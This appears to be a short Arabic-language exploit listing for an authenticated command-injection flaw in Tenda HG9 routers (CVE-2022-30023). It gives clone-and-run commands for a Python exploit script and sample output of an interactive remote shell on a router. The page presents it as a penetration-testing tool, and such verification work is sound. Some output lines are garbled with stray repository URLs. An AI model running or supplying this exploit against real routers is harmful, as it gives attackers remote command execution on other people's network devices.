
استغلال حقن أوامر مصادق عليه لأجهزة توجيه Tenda HG9. يوفر وصولاً تفاعليًا إلى شل عن بُعد عبر سكربت بايثون لاختبار الاختراق والتحقق من الثغرة.
حقن أوامر بعد المصادقة على راوتر Tenda HG9
git clone https://github.com/Haniwa0x01/CVE-2022-30023
cd CVE-2022-30023
python exploit.py -u http://target -U "user" -P "password"
pc@pc-note:~/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P "admin"
[!]: https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/Logged!
[CMD]: ls -la
drwxrwxr-x 3 admin root 54 Jan 25 2021 .
drwxrwxr-x 3 admin root 28 Jan 25 2021 ..
-rwxrwxr-x 1 admin root 6306 Jan 25 2021 boa.conf
drwxrwxr-x 6 admin root 5129 Jan 25 2021 web
[CMD]:
https://raw.githubusercontent.com/haniwa0x01/cve-2022-30023/main/%60%60%60